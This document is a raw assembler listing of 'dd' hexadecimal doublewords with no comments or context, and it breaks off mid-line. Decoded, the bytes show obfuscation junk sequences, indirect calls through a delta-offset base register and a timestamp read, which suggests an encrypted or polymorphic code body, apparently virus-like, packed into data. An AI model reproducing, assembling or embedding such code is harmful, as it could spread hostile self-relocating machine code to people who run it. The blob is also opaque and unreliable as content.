60B3385h dd 7D0h, 184860Fh, 85890000h, 60B08DDh, 24219D8Bh, 0BD8B060Bh dd 60B0E89h, 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0FD4895C3h, 525030FCh dd 0DB0B5FF5h, 0E2850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0E567E1C3h, 1F3DB58Bh dd 0BD83060Bh, 60EBBBAh, 5B840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 3C45C356h, 0F32575E6h, 5890F1Bh, 66000000h, 8D2FEF81h dd 0ACE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD8B8CF7h, 60B01D1h, 17CD9D89h dd 85C7060Bh, 60EBBBAh, 1, 0FE9h, 0E6FF7600h, 8CEFE606h dd 0C9040411h, 28AE13ABh, 60E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FF3DB33h dd 38Fh, 0FB8B6600h, 6840Fh, 95290000h, 60B18CDh, 0BBBA85C7h dd 60Eh, 800F0000h, 1Dh, 0FE860h, 65B80000h, 10584CE1h dd 0FE05F200h, 0E6D53ACBh, 8D895A7Ch, 60B1505h, 219D8D61h dd 6A060B24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0F445C356h, 8123E42Fh, 0FFFEFF23h dd 905FBEFFh, 8C667E87h, 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 66DF81F6h, 891D567Ah dd 0B0211BDh, 4C3F606h, 50840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 377662C3h dd 89FED335h, 8B57E9E5h, 0B7BE5EFEh, 663EC40Ch, 0CEAFCE81h dd 18ED95FFh, 8166060Bh, 8B108BF6h, 0B0B11BDh, 0BE525006h dd 5C519E1Fh, 2404895Eh, 0DFE9FB8Bh, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 4B39C357h, 0B58B7CCEh, 60B232Dh dd 6A00B0F9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 2681C352h, 0FEB16ABh, 89F38BE1h dd 0B17ED85h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3242C355h, 0C7814189h dd 5C4957E2h, 0F860F560h, 61615E57h, 9D8971E4h, 60B03CDh dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 8AF4C355h, 0C1BD23F9h, 0BA060B31h dd 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 0A7C35545h, 12ED8501h, 0C38B060Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 81C35141h, 28C6A55h, 0E14E9776h dd 4E8C167h, 10E9h, 29C1400h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h dd 0E2F76617h, 0AE8h, 1F3FAB00h, 0C2218C9Fh, 8BFB09AEh dd 0B1741B5h, 0D82B5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 71C35545h, 0F366F06Fh, 93FA8B66h, 0DE950h dd 82670000h, 0E6EFE05Dh, 0FC199376h, 93ABC20Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h, 2B047E32h dd 0B5FFBABEh, 60B3385h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 89F987C3h dd 0B28019Dh, 0F00B006h, 38Ch, 0FA8B6600h, 0B50B70E6h dd 60B0151h, 0AE9h, 87A51F00h, 0A839F8BDh, 0E4C29CD4h dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 4AA5783Bh, 0BD8B4989h, 60B01E9h, 0F51BD8Bh dd 613C060Bh, 1CC830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0B4E723C3h, 0BDDEC6Eh dd 8BD8B60Fh, 6BAFAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 540FB8C3h, 50D0AE2Bh dd 8BFCABD3h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B988565h, 0B04B5B5h, 4E8C106h, 1D9B52Bh dd 0F766060Bh, 50006AE2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 7AEF812Eh, 665F770Ch dd 76CCCF81h, 8589D82Bh, 60B2A71h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0E95150BEh dd 0B5BFE8C3h, 0B5F4503h, 0B12B5BDh, 0FD82B06h, 0E588h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 19A5D1D2h, 665B8A8Eh, 0B9D18FBFh, 7, 83F28B66h dd 816600C1h, 3B6510EFh, 0A7860FD9h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B451C352h, 22B52220h, 0C78194F8h, 6988CA64h, 6AD98C66h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0FDE9C352h, 0F6F9BF0Fh, 840F04C1h, 4Ah, 0A7C0BE66h dd 18ED95FFh, 0F51060Bh, 5B5EFEBFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 38C35040h, 7E53F4E9h, 524C933Bh dd 343DC32Bh, 0F000008h, 986h, 0BE9F900h, 66000000h, 0C08BF38Bh dd 0C55BD8Bh, 0C38B060Bh, 6AD88Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 43360EC3h, 0E2DF819Eh dd 0C704EEF1h, 0B2A9D85h, 84A95306h, 14E956h, 2E6F0000h dd 0B0FD345Dh, 76A83BBDh, 8906D31Dh, 838A46DDh, 0C08B59EAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h dd 0C1B58B8Ah, 81060B31h, 0B3385BDh, 7D006h, 10850F00h dd 0F8000000h, 338585FFh, 9D89060Bh, 60B1A55h, 0FFF9B70Fh dd 0B3385B5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 37FFC353h dd 0FE1A8674h, 5678B890h, 0FE91234h, 48000000h, 0D8B71C58h dd 0CB026C4h, 713F3D56h, 9D8D2CF2h, 60EC499h, 0FFF915E9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0C378F94Eh, 1505BD8Bh, 0B70F060Bh, 0EBC18BF9h dd 4, 0D19D8900h, 6A060B21h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0F5DAC350h, 4AC40B2h dd 6A7FA131h, 0EE9h, 0AE13AB00h, 3F062128h, 178F5A80h dd 8D91F050h, 0B28A985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 5CCD6D93h, 1DB58BA2h dd 90060B21h, 0E920B160h, 13h, 1143DFCDh, 78206AD1h, 2604CB50h dd 61DAE570h, 615E6169h, 870F6050h, 5, 2FA90ABEh, 9BBA6621h dd 6690616Fh, 7BA9EE81h, 9D31006Ah, 60B06D5h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0E83AC4C3h, 0C6B9858Dh, 6A060Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 6627A2C3h dd 7073EF81h, 14E8h, 0AC46D700h, 0A643BE92h, 88C2C37Bh dd 4AFD7648h, 40521771h, 65BF668Ch, 0C0835EFBh, 9E99005h dd 0FF000000h, 287DE6B4h, 0A39FDC26h, 90F88B50h, 29F59D09h dd 8509060Bh, 60B0C09h, 0B503006Ah, 60B2E59h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0A49F87C3h, 830FF8h, 0FF000000h, 0B2F2195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 47D36C2Eh, 0B9BD0922h, 8D060B24h, 0EA7B09Dh, 9D9D8906h dd 0FF060B17h, 0B2E681D3h, 0FF233332h, 0B066D85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B22AA04Ah, 0D51D58EFh, 1DBE66AFh, 0DF1E94Ch, 0E80000h dd 5D000000h, 0C6C3ED81h, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 5AC2D5C3h, 0BD8191C9h dd 60B3385h, 7D0h, 0AD860Fh, 0FB8B0000h, 8699D8Bh, 0B58B060Bh dd 60B2701h, 100E381h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 3AB217C3h, 0FDB0BD6h dd 5385h, 83F38B00h, 0EC4E9BDh, 840F0006h, 29h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 9589D584h dd 60B06BDh, 2BE9h, 0E985C700h, 1060EC4h, 81000000h, 4BA1BDEEh dd 16E93Ah, 0BD8B0000h, 60B0079h, 0C4E985C7h, 60Eh, 85010000h dd 60B1241h, 8699D8Dh, 0BF0F060Bh, 0FF2381F0h, 66FFFFFEh dd 0B70FDB8Ch, 4C3F6F2h, 52840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3E40FC3h dd 0B69B58Bh, 0FFF5060Bh, 0B18ED95h, 6860F06h, 8B000000h dd 0B31C9BDh, 0EE85006h, 0DB000000h, 9CD06AE1h, 4FBD1CFEh dd 1D11B79Bh, 0F98B6694h, 2404895Fh, 3FAE9h, 0F28B6600h dd 0B0F88B66h, 61958900h, 0E6060B0Fh, 56006A70h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6671E48Ah, 0B60FFB8Bh, 0D9BE51D8h, 5F566E24h, 6BAh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 473ACD0Bh, 66C38BFCh, 2517C681h, 8904E8C1h dd 0B0D9595h, 0E2F76606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 85C35343h, 3D82BC8h, 0B0F9DBDh, 0BE665006h dd 1C895CF5h, 0E1B58B24h, 0FF060B07h, 0B3385B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0C8302468h, 0E699DB41h, 0DD95FFC8h, 89060B32h, 0B165995h dd 6A00B006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 62E3C356h, 1BD894Dh, 0E6060B20h dd 51006A70h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0CE00DC01h, 79AF682Bh, 3880FBEh, 0F000000h dd 71E4FABFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0CC35545h, 3EFDBEE7h, 613C4ED7h, 29D830Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 2932A8C3h, 0B318585h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0A1C35646h, 61527ED8h, 6BAFC71h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 4F2C351h, 0CDBE742Fh, 8D89272Fh dd 60B20F5h, 9D89C38Bh, 60B27E1h, 3104E8C1h, 0B20C1BDh dd 0E2F76606h, 32B9BD8Bh, 9D31060Bh, 60B005Dh, 6AD82Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0E9DF73C3h, 60806051h, 762ABA66h, 1061B589h, 5861060Bh dd 5499D01h, 0D82B060Bh, 1C9880Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 321751C3h dd 29FDBD89h, 7B9060Bh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1908C357h dd 0E84FEE4Bh, 13h, 0B738FEA0h, 49948C84h, 0F505D3CAh dd 878DE953h, 0BE143895h, 401A3CB7h, 0C1835Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 9CFE1CD1h dd 0DD1B8BECh, 860FD93Bh, 133h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0AEC35545h, 6600EFAAh, 6AD98Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0C1F6C2C3h, 0C3840F04h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B82C350h dd 0FE97D10h, 0E000000h, 13852E07h, 6D3FC9C0h, 0C34A57C1h dd 95FF3C03h, 60B18EDh, 6B460F9h, 0E2D9D8Bh, 5B61060Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 33C35545h dd 5EE37C57h, 2E53E41Fh, 5810Fh, 49BE0000h, 0F2653B6h dd 884h, 8D895300h, 60B1169h, 6AC32B5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B64AC353h dd 89D5F1F6h, 0B011D95h, 8343D06h, 860F0000h, 0Eh, 0E9F7BF0Fh dd 2Fh, 0B39BD8Bh, 0C08B060Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 51C35343h, 0F7CAB5DAh, 0FD7E3D0Fh dd 8BF88B02h, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 9E37C357h, 0E9603A62h dd 13h, 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 0F911B7Fh dd 689h, 21BD3300h, 61060B22h, 242185C7h, 9FB7060Bh, 895757F5h dd 0B290595h, 89605F06h, 0B28EDBDh, 0C08B6106h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 71C35646h, 1F980B4h dd 0B28A58Dh, 12E906h, 490A0000h, 0B5179A90h, 6390A885h dd 69BEF85Ch, 6FF06E70h, 3385BD81h, 7D0060Bh, 850F0000h dd 38h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 0C35040h, 7E228B95h, 6614FF74h, 85FFF18Bh, 60B3385h dd 0F4D8EE81h, 958926D6h, 60B2749h, 3385B5FFh, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0E7BC93C3h, 45750647h, 2DB58B0Fh, 0FF060B13h, 0B32DD95h dd 0EC78106h, 900D7704h, 0C98D8940h, 81060B2Ah, 413AFD7h dd 6DBD8352h, 60B1Bh, 0CD840Fh, 0BE90000h, 0DC000000h dd 98A1E04Fh, 661CD9E6h, 0BD839067h, 60B1611h, 0B0840F00h dd 89000000h, 0B0B1D95h, 6D95FF06h, 0B060B1Bh, 9C840FC0h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0E21CC356h, 0D098D29h, 8D8D060Bh dd 60B4DD7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0BEC35545h, 54F75995h, 5B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0D3E94186h dd 0EA2512D2h, 69C7BF66h, 6AE1FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0D5191AC3h, 819589C3h dd 83060B06h, 0B0EE5BDh, 840F0006h, 67Ch, 1611BD83h, 0F00060Bh dd 66F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 536BE0B9h, 0D9958952h, 5F060B2Ah dd 9D9589h, 8D8D060Bh, 60B0245h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0DBC35545h, 8401C7EBh, 6A44B27Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 5A6C350h, 0D6691C6Ah, 0FA881487h, 0CFCB0181h dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 64323FC3h, 9E8h, 93804E00h, 57B7B163h, 0B5897EF0h dd 60B0919h, 441C75Fh, 0CE706B34h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0CEC35242h, 99729561h, 8B66A0AFh dd 44181FEh, 31D6D710h, 9D89006Ah, 60B16B5h, 245858Dh dd 8509060Bh, 60B0AB9h, 12E851h, 0F7C10000h, 0C75CA0CCh dd 55A870D3h, 0A2DE9EFBh, 2F8365E2h, 1879B501h, 5E5E060Bh dd 0BCB66090h, 505B5660h, 5A310F52h, 50616158h, 310F5250h dd 0F249BE66h, 8990585Ah, 0B00C195h, 0E595FF06h, 6A060B0Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0C85FC357h, 604103F6h, 14E9h, 5B051100h dd 12E538ECh, 0D36FAA2Eh, 5214C158h, 72D56E0Fh, 2800FD9h dd 0B4000000h, 8D8D6138h, 60B0245h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 19C35747h, 0E850BB1Bh, 5, 0D425C6Dh dd 0DE941h, 1D310000h, 2DBE5474h, 168B59B1h, 5F11B58Bh dd 0C7FE8B5Eh, 1, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C874119Ch, 8D895775h dd 60B0E9Dh, 0C7FFBF0Fh, 441h, 0CE90000h, 0D3000000h, 594E5F00h dd 0C224027Ah, 0B18DDD3h, 79840FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 50F2C356h, 0BD8B575Fh, 60B20E1h, 0D78D8D5Fh, 6A060B4Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 154BC357h, 82CBA693h, 0B8A0F0D9h, 5, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h, 0E1FF91C2h dd 155BBF66h, 2458D8Dh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 70009EC3h, 8F3B4A3Fh dd 661C0BEEh, 38E8DF81h, 6800F51h, 8B000000h, 0B2179BDh dd 1C75E06h, 44AA727Ch, 0DADBD03h, 181060Bh, 1499CFCBh dd 0AAA9BE66h, 3C0441C7h, 81CE7875h, 2D2BADEh, 25B58B71h dd 81060B04h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 6A4EAEC3h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0D500A5Ah, 52F9BF0Fh, 18D19D89h, 8D5F060Bh, 0B024585h dd 31B58B06h, 90060B2Ah, 12E850h, 45C40000h, 0DA5571F8h dd 57DB0771h, 6066CF34h, 0EDB9244Fh, 0EE32D3BEh, 6A905F15h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 2DC2C351h, 5CCE6B4Dh, 896F24F5h, 0B0BA195h dd 1681BE06h, 95FF1B56h, 60B0EE5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 52C35141h, 0F8F2656Bh, 23619444h dd 8E9h, 3250500h, 0D975C2BEh, 458D8DC1h, 0BE060B02h, 54BAC0Bh dd 1BB99D89h, 1C7060Bh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 99C35545h dd 0CF7BE250h, 0D7522CC7h, 9E9F3h, 33980000h, 74A0B4D1h dd 0C7443BC9h, 441h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D52A95C3h, 7BE5B396h dd 0BD8BFCD8h, 60B1169h, 0E79B58Bh, 0C00B060Bh, 71840Fh dd 0BF660000h, 81660EB2h, 8D349EF6h, 0B4DD78Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0D0EC93DBh, 0B6C6106Eh, 816694DAh, 606837DEh, 3D23BF66h dd 9519589h, 0B861060Bh, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0E3C35545h, 3F3EA3Dh, 0B2029BDh, 8DE1FF06h dd 0B02458Dh, 68C0F06h, 89000000h, 0B00A58Dh, 0A501C706h dd 6654CA95h, 181F08Bh, 1499CFCBh, 0B850Fh, 6E90000h, 76000000h dd 0AD9A86F4h, 89B58B07h, 0C7060B0Eh, 59690441h, 0B529CE5Fh dd 60B2EE1h, 10044181h, 6A31D6D7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E544C353h dd 5CF0E5A6h, 6AF581F7h, 8F0F00h, 8D000000h, 0B024585h dd 99BD8B06h, 0E9060B0Fh, 11h, 0D3CA4994h, 0E953F505h dd 3895878Dh, 2F3FFB14h, 4895079h, 0F9B70F24h, 0EE595FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 9AE530C3h, 977946CAh, 891507DBh, 0B02098Dh dd 3ACE8106h, 8D48B8D1h, 0B02458Dh, 89C78106h, 0C73ACB6Ah dd 1, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0F87AEFC4h, 109B9ABCh, 9529F960h dd 60B12CDh, 441C761h, 0 dd 1CDBD8Bh, 0BF0F060Bh, 0FC00BF9h, 6B84h, 8DF28B00h, 0B4DD78Dh dd 2DB52906h, 0B8060B02h, 5, 19B9B52Bh, 13BE060Bh, 0FF33F588h dd 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0AE8F7h, 0C6E70000h, 73C3FA63h, 4FC9308Bh dd 14E9h, 34913A00h, 0E7A637D1h, 0AD866181h, 78A1C07Bh dd 0FBF786DBh, 9D895EF0h, 60B1369h, 1BE9CA03h, 89FFFFF2h dd 0B17C585h, 0EBEE8106h, 8B7A2212h, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 880FE285h dd 6, 1F9DBD89h, 4EB060Bh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 67C35646h dd 799AEA8Ah, 0F92DB6B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0D5C35747h, 741AB4C3h, 3FACA97Bh, 0AE956h dd 8FFF0000h, 74FD90E2h, 613F2D74h, 28A9858Dh, 9E9060Bh dd 8C000000h, 6B08D4F4h, 0A41BC4FBh, 830F90h, 50000000h dd 5E9h, 2C82E400h, 6A909CFFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 4339C353h, 0E807F84Bh dd 0FE8h, 0DD251700h, 0E12A390Ah, 2363E52Bh, 4B3686E8h dd 0DD68166h, 6A5E54h, 3155B58Bh, 6A060Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C6C35747h, 29C68133h dd 8D07C58Ch, 0ED6FF85h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FFF5C78h, 0BD89F0B7h dd 60B1F65h, 21511EBEh, 5C08324h, 2A19D89h, 0E850060Bh dd 0Bh, 5B1DAE6Eh, 0ED597BC4h, 66903A1Ch, 5E8A7BBEh, 6A240489h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 51DF6B3Ch, 7F7AD49Eh, 25B5890Dh, 6A060B2Bh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8B0C2F4Ch, 0B0B6DB5h, 219CBE06h, 95FF1C4Ch dd 60B2F21h, 0C11F06BEh, 0B09D8D76h, 6A060EA7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6639C356h, 7955CE81h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 85FF43C3h, 60B066Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A7C35747h dd 14E94F02h, 90000000h, 4B567200h, 0EDE4E18Dh, 431E84B9h dd 0C7080046h, 0E9DD8D0Fh, 0A48h, 0E8h, 0ED815D00h, 60ED709h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 18C35545h dd 0E7053599h, 0BD81E276h, 60B3385h, 7D0h, 13D860Fh, 95290000h dd 60B28E5h, 1A9D9D8Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 8D46E6C3h, 70D8532Eh dd 8B81CA67h, 0E381F0h, 66000001h, 0B2831BEh, 0B5850FDBh dd 8B000000h, 0B240DB5h, 0DCBD8306h, 60ED4h, 53840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 87B9AEC3h, 0ABE9F701h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 291C352h dd 7665A709h, 0BDBD2990h, 29060B16h, 0B05AD9Dh, 0DC85C706h dd 1060ED4h, 0E9000000h, 6Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0FFC35545h, 0C283321h, 0E8813C2Eh dd 14E95164h, 0D9000000h, 135B02FBh, 82B24F5Eh, 1755CCFAh dd 0ED2EBF16h, 5EB3012Bh, 0D4DC85C7h, 60Eh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 9058CCC3h, 0A48FBEF3h, 9D8D5441h, 60B1A9Dh, 0BCE68166h dd 0FF23815Fh, 66FFFFFEh, 6637EEBEh, 6ADB8Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 39173EC3h dd 606223FDh, 1FFD9D01h, 0BF66060Bh, 66616DE9h, 0AB36DE81h dd 0F04C3F6h, 9084h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0B92D3A9h, 0F38B6680h dd 0FFF6B70Fh, 0B18ED95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 8CF5D4DFh dd 958F48B7h, 11BD89F0h, 60060B05h, 31F99D89h, 9061060Bh dd 50F08B66h, 5E9h, 74B40500h, 6A9049EDh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A43FC356h dd 0FD62118h, 411E922h, 0BF0F0000h, 6A00B0F1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 97DAC352h, 89F2BF0Fh, 0B31D1B5h, 0CCBE6606h, 6A70E6E5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 5E99C356h, 0D7B95EF5h, 0BE66B300h, 71E448C9h dd 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E91BC357h, 13h, 833E133Bh, 0A72742BEh dd 387302A3h, 0F2656B52h, 0BA9444F8h, 6, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 81C35141h, 0D1122646h dd 0A1DCF065h, 851BD31h, 8BF8060Bh, 53006AC3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0A5F4AB8Ch dd 0B577474Eh, 8E85C65h, 4D000000h, 676EF121h, 0FE39028h dd 8B5EF3BFh, 0B1F35B5h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 2DC35343h, 8B605D9Bh, 0B31D195h dd 6830F06h, 8B000000h, 0B14E5BDh, 0F7666106h, 56006AE2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 12B2BF0Ah, 517968C5h, 0E952EA50h, 0Ah, 0EF7E9FC1h, 8630A294h dd 2B5E91CEh, 0CE8166D8h, 60508F71h, 8194F0BAh, 1C89616Eh dd 0F2BF0F24h, 3385B5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 9ADFCC3h, 992E7378h dd 2ED58589h, 95FF060Bh, 60B32DDh, 0AC1950BEh, 6600B061h dd 70E6F28Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 20C35040h, 613C71E4h, 229830Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 9F8757C3h, 0B60FF8A4h, 